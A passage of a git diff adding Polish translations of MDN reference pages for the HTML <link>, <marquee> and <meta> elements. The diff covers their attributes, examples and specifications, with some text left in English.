może występować w elemencie {{HTMLElement("head")}} lub {{HTMLElement("body")}}, w zależności od tego, czy ma on <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">typ połączenia</a>, który jest <strong>body-ok</strong>. Na przykład, typ linku <code>stylesheet</code> jest body-ok, a zatem <code><link rel="stylesheet"></code> jest dozwolony w body. Jednakże nie jest to dobra praktyka do naśladowania; bardziej sensowne jest oddzielenie elementów <code><link></code> od zawartości, umieszczając je w <code><head></code>.</li> + <li>Kiedy używasz <code><link></code> do utworzenia favicon dla witryny, a Twoja strona używa Content Security Policy (CSP) w celu zwiększenia jej bezpieczeństwa, polityka ta ma zastosowanie do favicon. Jeśli napotkasz problemy z załadowaniem favicon, sprawdź, czy dyrektywa <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Security-Policy/img-src">dyrektywa <code>img-src</code></a> nagłówka {{HTTPHeader("Content-Security-Policy")}} nie uniemożliwia dostępu do niego.</li> + <li>Specyfikacje HTML i XHTML definiują obsługę zdarzeń dla elementu <code><link></code>, ale nie jest jasne, jak miałyby być one wykorzystywane.</li> + <li>W XHTML 1.0 puste elementy, takie jak <code><link></code> wymagają ukośnika: <code><link /></code>.</li> + <li>WebTV wspiera użycie wartości <code>next</code> dla atrybutu <code>rel</code>, w celu wstępnego załadowania następnej strony w serii dokumentów.</li> +</ul> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia <a href="/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{HTMLAttrDef("as")}}</dt> + <dd>Ten atrybut jest używany tylko wtedy, gdy na elemencie <code><link></code> ustawiono <code>rel="preload"</code> lub <code>rel="prefetch"</code>. Określa on typ zawartości załadowanej przez <code><link></code>, który jest niezbędny do dopasowania żądania, zastosowania poprawnej <a href="/pl/docs/Web/HTTP/CSP">polityki bezpieczeństwa zawartości</a>, oraz ustawienie poprawnego żądania nagłówka {{HTTPHeader("Accept")}}. Co więcej, <code>rel="preload"</code> wykorzystuje to jako sygnał do nadania priorytetu żądaniu. Poniższa tabela zawiera ważne wartości dla tego atrybutu oraz elementy lub zasoby, do których się odnoszą.</dd> + <dd> + <table class="standard-table"> + <thead> + <tr> + <th scope="col">Wartość</th> + <th scope="col">Dotyczy</th> + </tr> + </thead> + <tbody> + <tr> + <td>audio</td> + <td>elementów <code><audio></code></td> + </tr> + <tr> + <td>document</td> + <td>elementów <code><iframe></code> oraz <code><frame></code></td> + </tr> + <tr> + <td>embed</td> + <td>elementów <code><embed></code></td> + </tr> + <tr> + <td>fetch</td> + <td> + <p>fetch, XHR</p> + + <div class="blockIndicator note"> + <p>Ta wartość wymaga również, aby <code><link></code> zawierał atrybut crossorigin.</p> + </div> + </td> + </tr> + <tr> + <td>font</td> + <td>CSS @font-face</td> + </tr> + <tr> + <td>image</td> + <td>elementy <code><img></code> oraz <code><picture></code> z atrybutami srcset lub imageset, elementy SVG <code><image></code>, reguły CSS <code>*-image</code></td> + </tr> + <tr> + <td>object</td> + <td>elementy <code><object></code></td> + </tr> + <tr> + <td>script</td> + <td>elementy <code><script></code>, Worker <code>importScripts</code></td> + </tr> + <tr> + <td>style</td> + <td>elementy <code><link rel=stylesheet></code>, CSS <code>@import</code></td> + </tr> + <tr> + <td>track</td> + <td>elementy <code><track></code></td> + </tr> + <tr> + <td>video</td> + <td>elementy <code><video></code></td> + </tr> + <tr> + <td>worker</td> + <td>Worker, SharedWorker</td> + </tr> + </tbody> + </table> + </dd> + <dt>{{HTMLAttrDef("crossorigin")}}</dt> + <dd>Ten wymieniony atrybut wskazuje, czy przy pobieraniu zasobów należy zastosować {{Glossary("CORS")}}. <a href="/pl/docs/Web/HTML/CORS_Enabled_Image">Obrazy wyposażone w CORS</a> mogą być ponownie użyte w elemencie {{HTMLElement("canvas")}} bez ich <em>skażenia</em>. Dozwolone są następujące wartości: + <dl> + <dt><code>anonymous</code></dt> + <dd>Wykonywane jest żądanie krzyżowe (tj. z nagłówkiem HTTP {{HTTPHeader("Origin")}}) ale nie jest wysyłane żadne poświadczenie (tj. nie jest wysyłany żaden plik cookie, certyfikat X.509 ani uwierzytelnienie HTTP Basic). Jeśli serwer nie przekaże danych uwierzytelniających do strony pochodzenia (nie ustawiając nagłówka HTTP {{HTTPHeader("Access-Control-Allow-Origin")}}) zasób zostanie skażony, a jego wykorzystanie ograniczone.</dd> + <dt><code>use-credentials</code></dt> + <dd>Wykonywane jest żądanie krzyżowe (tj. z nagłówkiem HTTP <code>Origin</code>) wraz z przesłanym poświadczeniem (tj. cookie, certyfikat, i/lub uwierzytelnienie HTTP Basic). Jeśli serwer nie przekaże danych uwierzytelniających do strony pochodzenia (poprzez nagłówek HTTP {{HTTPHeader("Access-Control-Allow-Credentials")}}), zasób zostanie skażony, a jego wykorzystanie ograniczone.</dd> + </dl> + Jeśli atrybut nie jest obecny, zasób jest pobierany bez żądania {{Glossary("CORS")}} (tj. bez wysyłania nagłówka HTTP <code>Origin</code>), co uniemożliwia jego bezpieczne użytkowanie. Jeśli jest nieprawidłowy, jest traktowany tak, jakby użyte zostało słowo kluczowe <strong>anonymous</strong>. Dodatkowe informacje znajdują się w części <a href="/pl/docs/Web/HTML/Attributes/crossorigin">atrybuty ustawień CORS</a>.</dd> + <dt>{{HTMLAttrDef("disabled")}}</dt> + <dd> + <p>Tylko w przypadku <code>rel="stylesheet"</code>, atrybut logiczny <code>disabled</code> wskazuje, czy opisany arkusz stylów powinien zostać załadowany i zastosowany w dokumencie. Jeśli atrybut <code>disabled</code> jest określony w HTML podczas ładowania, arkusz stylów nie zostanie wczytany podczas ładowania strony. Zamiast tego arkusz stylów zostanie załadowany na żądanie, jeśli i kiedy atrybut <code>disabled</code> zostanie zmieniony na <code>false</code> lub usunięty.</p> + + <p>Jednak po załadowaniu arkusza stylów zmiany wartości właściwości <code>disabled</code> nie mają już żadnego związku z wartością właściwości {{domxref("StyleSheet.disabled")}}. Zamiast tego zmiana wartości tej właściwości po prostu włącza i wyłącza formularz arkusza stylów zastosowany w dokumencie.</p> + + <p>Różni się ona od wartości <code>disabled</code> właściwości <code>StyleSheet</code>; zmiana jej na <code>true</code> powoduje usunięcie arkusza stylów z listy {{domxref("document.styleSheets")}} i nie powoduje automatycznego przeładowania aruksza stylów po ponownym przełączeniu go na <code>false</code>.</p> + </dd> + <dt>{{HTMLAttrDef("href")}}</dt> + <dd>Ten atrybut określa adres {{glossary("URL")}} powiązanego zasobu. Adres URL może być bezwzględny lub względny.</dd> + <dt>{{HTMLAttrDef("hreflang")}}</dt> + <dd>Ten atrybut określa język powiązanego zasobu. Ma on charakter wyłącznie doradczy. Dozwolone wartości są określone przez <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Tego atrybutu używa się tylko wtedy, gdy występuje atrybut {{HTMLAttrxRef("href", "a")}}.</dd> + <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt> + <dd>Wskazuje na względne znaczenie zasobu. Piorytetowe podpowiedzi są delegowane za pomocą wartości:</dd> + <dd> + <p><strong><code>auto</code></strong>: Oznacza <strong>brak preferencji</strong>. Przeglądarka może korzystać z własnej heurystyki, aby zdecydować o priorytecie zasobu.</p> + + <p><strong><code>high</code></strong>: Wskazuje przeglądarce, że zasób ma <strong>wysoki</strong> priorytet.</p> + + <p><strong><code>low</code></strong>: Wskazuje przeglądarce, że zasób ma <strong>niski</strong> priorytet.</p> + + <div class="blockIndicator note"> + <p><strong>Uwaga: </strong>Atrybut <code>importance</code> może być użyty dla elementu <code><link></code> tylko wtedy, gdy występuje <code>rel="preload"</code> lub <code>rel="prefetch"</code>.</p> + </div> + </dd> + <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt> + <dd>Zawiera liniowe metadane - kryptograficzny hash zasobów (plików), które każesz pobrać przeglądarce, zakodowany w base64. Przeglądarka może wykorzystać to do sprawdzenia, czy pobrany zasób został dostarczony bez nieoczekiwanych manipulacji. Zobacz rozdział <a href="/pl/docs/Web/Bezpiecze%C5%84stwo/Subresource_Integrity">Integralność Podzasobów</a>.</dd> + <dt>{{HTMLAttrDef("media")}}</dt> + <dd>Ten atrybut określa media, do których odnoszą się powiązane zasoby. Jego wartość musi mieć typ media / <a href="/pl/docs/Web/CSS/Media_Queries">żądania media</a>. Atrybut ten jest przydatny głównie przy łączeniu z zewnętrznymi arkuszami stylów — pozwala on agentowi użytkownika wybrać ten najlepiej dostosowany do urządzenia, na którym działa. + <div class="blockIndicator note"> + <p><strong>Uwagi:</strong></p> + + <ul> + <li>W HTML 4, może to być tylko prosta lista oddzielonych od siebie spacjami dosłownych opisów mediów, tj. <a href="/pl/docs/Web/CSS/@media">typów i grup mediów</a>, gdzie zdefiniowane i dozwolone są wartości tego atrybutu, takie jak <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 rozszerzył to na wszelkiego rodzaju <a href="/pl/docs/Web/CSS/Media_Queries">zapytania media</a>, które są uzupełnieniem dozwolonych wartości HTML 4.</li> + <li>Przeglądarki nie obsługujące <a href="/pl/docs/Web/CSS/Media_Queries">Żądań Media w CSS3</a> niekoniecznie rozpoznają odpowiedni link; nie należy zapominać o ustawieniu linków awaryjnych, ograniczonego zestawu zapytań media zdefiniowanych w HTML 4.</li> + </ul> + </div> + </dd> + <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt> + <dd>A string indicating which referrer to use when fetching the resource: + <ul> + <li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li> + <li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li> + <li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li> + <li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li> + <li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li> + </ul> + </dd> + <dt>{{HTMLAttrDef("rel")}}</dt> + <dd>This attribute names a relationship of the linked document to the current document. The attribute must be a space-separated list of <a href="/en-US/docs/Web/HTML/Link_types">link type values</a>.</dd> + <dt>{{HTMLAttrDef("sizes")}}</dt> + <dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values: + <ul> + <li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li> + <li>a white-space separated list of sizes, each in the format <code><em><width in pixels></em>x<em><height in pixels></em></code> or <code><em><width in pixels></em>X<em><height in pixels></em></code>. Each of these sizes must be contained in the resource.</li> + </ul> + + <div class="blockIndicator note"> + <p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p> + </div> + </dd> + <dt>{{HTMLAttrDef("title")}}</dt> + <dd>The <code>title</code> attribute has special semantics on the <code><link></code> element. When used on a <code><link rel="stylesheet"></code> it defines a <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/en-US/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd> + <dt>{{HTMLAttrDef("type")}}</dt> + <dd>This attribute is used to define the type of the content linked to. The value of the attribute should be a MIME type such as <strong>text/html</strong>, <strong>text/css</strong>, and so on. The common use of this attribute is to define the type of stylesheet being referenced (such as <strong>text/css</strong>), but given that CSS is the only stylesheet language used on the web, not only is it possible to omit the <code>type</code> attribute, but is actually now recommended practice. It is also used on <code>rel="preload"</code> link types, to make sure the browser only downloads file types that it supports.</dd> +</dl> + +<h3 id="Non-standard_attributes">Non-standard attributes</h3> + +<dl> + <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt> + <dd>The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the <strong>title</strong> attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4.</dd> + <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt> + <dd>This attribute identifies a resource that might be required by the next navigation and that the user agent should retrieve it. This allows the user agent to respond faster when the resource is requested in the future.</dd> + <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt> + <dd>Defines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.</dd> +</dl> + +<h3 id="Obsolete_attributes">Obsolete attributes</h3> + +<dl> + <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt> + <dd>This attribute defines the character encoding of the linked resource. The value is a space- and/or comma-delimited list of character sets as defined in {{rfc(2045)}}. The default value is <code>iso-8859-1</code>. + <div class="note"><strong>Usage note:</strong> To produce the same effect as this obsolete attribute, use the {{HTTPHeader("Content-Type")}} HTTP header on the linked resource.</div> + </dd> + <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt> + <dd>The value of this attribute shows the relationship of the current document to the linked document, as defined by the {{HTMLAttrxRef("href", "link")}} attribute. The attribute thus defines the reverse relationship compared to the value of the <code>rel</code> attribute. <a href="/en-US/docs/Web/HTML/Link_types">Link type values</a> for the attribute are similar to the possible values for {{HTMLAttrxRef("rel", "link")}}.</dd> + <dd> + <div class="blockIndicator note"> + <p><strong>Note:</strong> This attribute is considered obsolete by the WHATWG HTML living standard (which is the specification MDN treats as canonical). However, it's worth noting that <code>rev</code> is <em>not</em> considered obsolete in the W3C specification. That said, given the uncertainty, relying on <code>rev</code> is unwise.</p> + + <p>Instead, you should use the {{HTMLAttrxRef("rel", "link")}} attribute with the opposite <a href="/en-US/docs/Web/HTML/Link_types">link type value</a>. For example, to establish the reverse link for <code>made</code>, specify <code>author</code>. Also this attribute doesn't stand for "revision" and must not be used with a version number, even though many sites misuse it in this way.</p> + </div> + </dd> +</dl> + +<dl> + <dt>charset</dt> + <dd>Ten atrybut określa zestaw znaków używanych przez linkowany dokument. Dozwolonymi wartościami dla tego atrybutu są nazwy zestawu znaków, takie jak EUC-JP, zdefiniowane w <a class="external" href="http://tools.ietf.org/html/rfc2045" title="http://tools.ietf.org/html/rfc2045">RFC 2045</a>.</dd> +</dl> + +<dl> + <dt>media</dt> + <dd>Ten atrybut określa docelowe medium dla jakiś linkowanych informacji o stylach, które określono, kiedy atrybut <code>rel</code> jest ustawiony na <code>stylesheet</code>. Wartością tego atrybutu może być być pojedyncze określenie medium, jak <code>screen</code>, lub lista rozdzielona przecinkami. Możliwymi wartościami tego atrybutu <code>all</code>, <code>aural</code>, <code>braille</code>, <code>print</code>, <code>projection</code> oraz <code>screen</code>. Mogą być również zdefiniowane inne wartości, zależnie od przeglądarki. Internet Explorer wspiera <code>all</code>, <code>print</code> oraz <code>screen</code> jako wartości tego atrybutu.</dd> +</dl> + +<dl> + <dt>rel</dt> + <dd>Ten atrybut nazywa relacje między linkowanym dokumentem a dokumentem aktualnym. Możliwe wartości dla tego atrybutu zawierają <code>alternate</code>, <code>bookmark</code>, <code>chapter</code>, <code>contents</code>, <code>copyright</code>, <code>glossary</code>, <code>help</code>, <code>index</code>, <code>next</code>, <code>prev</code>, <code>section</code>, <code>start</code>, <code>stylesheet</code> oraz <code>subsection</code>. Najbardziej powszechnym użyciem tego atrybutu jest określanie linku do zewnętrznego arkusza stylów. Atrybut <code>rel</code> jest ustawiany na <code>stylesheet</code>, zaś atrybut <code>href</code> jest ustawiany na URL zewnętrznego arkusza stylów w celu formatowania strony. WebTV wspiera również użycie wartości <code>next</code> dla <code>rel</code> dla wstępnego załadowania następnej strony w serii dokumentów.</dd> +</dl> + +<dl> + <dt>rev</dt> + <dd>Wartość atrybutu <code>rev</code> pokazuje relację aktualnego dokumentu do dokumentu linkowanego, zdefiniowanego przez atrybut <code>href</code>. Atrybut w ten sposób definiuje odwróconą relację w porównaniu do wartości atrybutu <code>rel</code>. Wartości dla atrybutu <code>rev</code> są podobne do możliwych wartości atrybutu <code>rel</code>. Mogą zawierać <code>alternate</code>, <code>bookmark</code>, <code>chapter</code>, <code>contents</code>, <code>copyright</code>, <code>glossary</code>, <code>help</code>, <code>index</code>, <code>next</code>, <code>prev</code>, <code>section</code>, <code>start</code>, <code>stylesheet</code> oraz <code>subsection</code>.</dd> +</dl> + +<dl> + <dt>target</dt> + <dd>Wartość atrybutu <code>target</code> jest używana do definiowania nazwy ramki lub okna, które ma zdefiniowaną relację linkowania lub które pokaże wyświetlenie jakiegoś zlinkowanego zasobu.</dd> +</dl> + +<dl> + <dt>type</dt> + <dd>Ten atrybut jest używany do definiowania typu zawartości, do której prowadzi link. Wartość tego atrybutu powinna być typem <code>MIME</code> takim jak <code>text/html</code>, <code>text/css</code> i tak dalej. Powszechnym użyciem tego atrybutu jest definiowanie zlinkowanego arkusza stylów i najbardziej powszechną obecnie wartością jest <code>text/css</code>, która wskazuje format Kaskadowych Arkuszy Stylów.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Łączenie_z_arkuszem_stylów">Łączenie z arkuszem stylów</h3> + +<p>Aby dołączyć arkusz stylów do strony, użyj następującej składni:</p> + +<pre class="brush: html no-line-numbers"><link href="style.css" rel="stylesheet"> +</pre> + +<h3 id="Dostarczanie_alternatywnych_arkuszy_stylów">Dostarczanie alternatywnych arkuszy stylów</h3> + +<p>Można również określić <a href="/pl/docs/Web/CSS/Alternative_style_sheets">alternatywne arkusze stylów</a>.</p> + +<p>Użytkownik może wybrać, który arkusz stylów ma być użyty, wybierając go z menu Widok > Styl strony. Dzięki temu użytkownik może zobaczyć wiele wersji strony.</p> + +<pre class="brush: html no-line-numbers"><link href="default.css" rel="stylesheet" title="Domyślny Styl"> +<link href="fancy.css" rel="alternate stylesheet" title="Efektowny"> +<link href="basic.css" rel="alternate stylesheet" title="Podstawowy"> +</pre> + +<h3 id="Dostarczanie_ikon_dla_różnych_zastosowań">Dostarczanie ikon dla różnych zastosowań</h3> + +<p>Możesz umieścić linki do kilku różnych ikon na tej samej stronie, a przeglądarka wybierze, która z nich najlepiej pasuje do danego kontekstu, używając jako podpowiedzi wartości <code>rel</code> oraz <code>sizes</code>.</p> + +<pre class="brush: html no-line-numbers"><!-- iPad trzeciej generacji z wyświetlaczem Retina wysokiej rozdzielczości: --> +<link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"> +<!-- iPhone z wyświetlaczem Retina wysokiej rozdzielczości: --> +<link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"> +<!-- iPad pierwszej i drugiej generacji: --> +<link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"> +<!-- urządzenia iPhone bez wyświetlacza Retina, iPod Touch i Android 2.1+: --> +<link rel="apple-touch-icon-precomposed" href="favicon57.png"> +<!-- podstawowy favicon --> +<link rel="icon" href="favicon32.png"></pre> + +<h3 id="Warunkowe_ładowanie_zasobów_z_zapytaniami_media">Warunkowe ładowanie zasobów z zapytaniami media</h3> + +<p>Możesz podać typ nośnika lub zapytanie wewnątrz atrybutu <code>media</code>; zasób ten zostanie załadowany tylko wtedy, gdy stan nośnika jest prawdziwy. Na przykład:</p> + +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> +<link href="mobile.css" rel="stylesheet" media="all"> +<link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"> +<link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"> +</pre> + +<h3 id="Zdarzenia_z_udziałem_arkusza_stylów">Zdarzenia z udziałem arkusza stylów</h3> + +<p>Można określić kiedy arkusz stylów został załadowany, obserwując, czy wystąpiło na nim zdarzenie <code>load</code>; podobnie, można wykryć, czy podczas przetwarzania arkusza stylów wystąpił błąd, obserwując, czy wystąpiło zdarzenie <code>error</code>:</p> + +<pre class="brush: html"><script> +var myStylesheet = document.querySelector('#my-stylesheet'); + +myStylesheet.onload = function() { + // Zrób coś ciekawego; arkusz został załadowany +} + +myStylesheet.onerror = function() { + console.log("Wystąpił błąd podczas ładowania arkusza stylów!"); +} +</script> + +<link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet"> +</pre> + +<div class="blockIndicator note"> +<p><strong>Uwaga:</strong> Zdarzenie <code>load</code> zostaje wywołane, gdy arkusz stylów i cała jego zaimportowana zawartość zostanie załadowana i przetworzona, a także bezpośrednio przed zastosowaniem stylów do zawartości.</p> +</div> + +<h3 id="Przykłady_wstępnego_ładowania">Przykłady wstępnego ładowania</h3> + +<p>Możesz znaleźć szereg przykładów z <code><link rel="preload"></code> w sekcji <a href="/pl/docs/Web/HTML/Preloading_content">Wstępne załadowanie zawartości z <code>rel="preload"</code></a>.</p> + +<h2 id="Podsumowanie_techniczne">Podsumowanie techniczne</h2> + +<table class="properties"> + <tbody> + <tr> + <th><a href="/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td>Zawartość metadanych. Jeśli <code><a href="/pl/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> jest obecny: <a href="/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a> i <a href="/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Zawartość frazowania</a>.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td>Brak, to jest {{Glossary("empty element", "pusty element")}}.</td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Ponieważ jest to pusty element, znacznik otwierający musi być obecny, a znacznik zamykający nie może być obecny.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Każdy element, który akceptuje elementy metadanych. Jeśli <a href="/pl/docs/Web/HTML/Global_attributes/itemprop">itemprop</a> jest obecny: każdy element, który akceptuje <a href="/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a>.</td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{DOMxRef("HTMLLinkElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "semantics.html#the-link-element", "<link>")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Brak zmian w stosunku do ostatniego wydania</td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "document-metadata.html#the-link-element", "<link>")}}</td> + <td>{{Spec2("HTML5 W3C")}}</td> + <td>Dodano atrybuty <code>corssorigin</code> oraz <code>sizes</code>; rozszerzono wartość <code>media</code> do dowolnych zapytań media; dodano wiele nowych wartości dla <code>rel</code>.</td> + </tr> + <tr> + <td>{{SpecName("HTML4.01", "struct/links.html#h-12.3", "<link>")}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.link", 3)}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Nagłówek HTTP {{HTTPHeader("Link")}}</li> +</ul> diff --git a/files/pl/web/html/element/marquee/index.html b/files/pl/web/html/element/marquee/index.html new file mode 100644 index 0000000000..e26f2e3652 --- /dev/null +++ b/files/pl/web/html/element/marquee/index.html @@ -0,0 +1,112 @@ +--- +title: marquee +slug: Web/HTML/Element/marquee +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/marquee +--- +<div>{{ non-standard_header() }}</div> + + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Element <code><marquee>...</marquee></code> wykorzystywany jest do przewijanego tekstu wewnątrz pola tekstowego.</p> + + +<h2 id="Atrybuty" name="Atrybuty">Atrybuty</h2> +<dl> + <dt> + behavior</dt> + <dd> + Ustawienia, w jaki sposób jest przewijany tekst w <code>marquee</code>. Możliwymi wartościami są <code>scroll</code>, <code>slide</code> i <code>alternate</code>. Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość <code>scroll</code>.</dd> + <dt> + bgcolor</dt> + <dd> + Ustawienia koloru tła, podane jako nazwa koloru lub wartości szesnastkowe.</dd> + <dt> + direction</dt> + <dd> + Ustawienia kierunku, w jakim przewijać ma się zawartość <code>marquee</code>. Możliwymi wartościami są <code>left</code> (w lewo), <code>right</code> (w prawo), <code>up</code> (do góry) i <code>down</code> (w dół). Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość <code>left</code> (w lewo).</dd> + <dt> + height</dt> + <dd> + Ustawienia wysokości. Wartości podajemy w pikselach lub procentach.</dd> + <dt> + hspace (1.9a)</dt> + <dd> + Ustawienia poziomego marginesu.</dd> + <dt> + loop (1.9a)</dt> + <dd> + Ustawienia, ile razy zostanie przewinięty znacznik <code>marquee</code>. Jeśli wartość nie jest określona, to domyślnie jest ustawiona wartość −1, która znaczy, że zawartość <code>marquee</code> będzie przewijana ciągle.</dd> + <dt> + scrollamount</dt> + <dd> + Ustawienia sumy przewinięć każdej przerwy, wyrażona w pikselach. Domyślnym ustawieniem jest 6.</dd> + <dt> + scrolldelay</dt> + <dd> + Ustawia przerwę pomiędzy każdym przesunięciem przewinięcia w milisekundach. Domyślną wartością jest 85. Uwaga, ta wartość nie może być mniejsza niż 60, bo mniejsze wartości są ignorowane i użyta jest wartość 60 zamiast wpisanej mniejszej wartości.</dd> + <dt> + truespeed (1.9a)</dt> + <dd> + Ustawia, czy czas przewijania nie jest mniejszy niż 60, bo mniejsze wartości będą ignorowane. Możliwe wartości to <code>true</code> lub <code>false</code>. Domyślną wartością jest <code>false</code></dd> + <dt> + vspace (1.9a)</dt> + <dd> + Ustawienia pionowego marginesu w pikselach lub procentach.</dd> + <dt> + width</dt> + <dd> + Ustawia wartość długości w pikselach lub procentach.</dd> +</dl> + + + +<h2 id="Zdarzenia" name="Zdarzenia">Zdarzenia</h2> +<dl> + <dt> + onbounce</dt> + <dd> + Zdarzenie jest wywołane, gdy tekst odbije się od końca jego pola. Może zdarzyć się tylko wtedy, gdy właściwość <code>behavior</code> jest ustawiona na <code>alternate</code>.</dd> + <dt> + onfinish</dt> + <dd> + Zdarzenie jest wywołane, kiedy tekst skończy się przewijać (przewijanie ustawiamy za pomocą atrybutu pętli). Może się zdarzyć tylko, gdy atrybut pętli jest większy niż 0.</dd> + <dt> + onstart</dt> + <dd> + Zdarza się, kiedy tekst zaczyna się przewijać.</dd> +</dl> + + +<h2 id="Metody" name="Metody">Metody</h2> +<dl> + <dt> + start</dt> + <dd> + Uruchamia przewijanie zawartości znacznika <code>marquee</code>.</dd> + <dt> + stop</dt> + <dd> + Zatrzymuje przewijanie zawartości znacznika <code>marquee</code>.</dd> +</dl> + + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:html"><marquee>This text will scroll from right to left</marquee> +<marquee direction="up">Ten tekst będzie się przewijał do góry</marquee> +<marquee direction="down" width="250" height="200" + behavior="alternate" style="border:1px solid black"> + <marquee behavior="alternate"> + This text will bounce + </marquee> +</marquee> +</pre> + + +<h2 id="Notatka" name="Notatka">Notatka</h2> +<p>Znacznik <code>marquee</code> został wymyślony dla przeglądarki IE.</p> +<p>Znacznik <code>marquee</code> nie jest zgodny ze specyfikacją HTML lub XHTML. Autor strony, aby zachować zgodność ze standardami, nie powinien używać tego znacznika.</p> +<p>Znacznik <code>marquee</code> jest zaimplementowany w Mozilla przy użyciu <a href="/pl/XBL" title="pl/XBL">XBL</a>: <a class="external" href="http://lxr.mozilla.org/seamonkey/source/layout/style/xbl-marquee/xbl-marquee.xml" rel="freelink">http://lxr.mozilla.org/seamonkey/sou...bl-marquee.xml</a></p> + +<div>{{ HTML:Element_Navigation() }}</div> diff --git a/files/pl/web/html/element/meta/index.html b/files/pl/web/html/element/meta/index.html new file mode 100644 index 0000000000..8fbc0241f3 --- /dev/null +++ b/files/pl/web/html/element/meta/index.html @@ -0,0 +1,144 @@ +--- +title: '<meta>: Element metadanych na poziomie dokumentów' +slug: Web/HTML/Element/meta +translation_of: Web/HTML/Element/meta +--- +<div>{{HTMLRef}}</div> + +<p><strong>Element HTML <code><meta></code></strong> reprezentuje {{Glossary("Metadata","metadane")}}, które nie mogą być reprezentowane przez inne elementy związane z metadanymi w HTML, takie jak {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} lub {{HTMLElement("title")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th><a href="/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td>Metadata content. If the {{htmlattrxref("itemprop")}} attribute is present: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td>None, it is an {{Glossary("empty element")}}.</td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>As it is a void element, the start tag must be present and the end 